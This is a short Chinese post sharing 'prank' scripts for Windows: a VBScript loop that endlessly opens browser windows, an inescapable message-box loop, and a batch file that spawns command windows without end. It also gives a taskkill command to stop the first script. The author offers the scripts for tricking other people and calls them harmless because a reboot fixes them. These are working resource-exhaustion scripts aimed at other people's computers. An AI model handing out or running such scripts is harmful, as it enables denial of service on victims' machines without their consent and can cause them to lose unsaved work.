整人的vbs代码

第一个：

do
Set Sh = WScript.CreateObject("WScript.Shell")
Sh.Run "https://hao.360.com/", 3
loop

这是个好东西啊，（反正我是被卡爆过）

当然这个炸弹你会安，但不会拆，那不就不好了嘛，所以我来告诉你怎么拆炸弹

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "taskkill /im wscript.exe /f ",0 ,true

（当然，你手速要快，不然上面的代码就没用了）

第二个：

do
a=msgbox("你要输入的内容",4,"标题")
if a=6 then
exit do
end if
loop

只要你坑的人不按是，那就关不掉（不过你要保证ta不会打开任务管理器）

以上后缀改为.vbs就好了

--------------------------------------------------------分割线----------------------------------------------------------------

再分享一个

:start
start cmd
goto start

效果和第一个差不多，只不过后缀是.bat

拿去坑人吧，不是病毒，不用担心电脑会坏，中招了关机重启就好了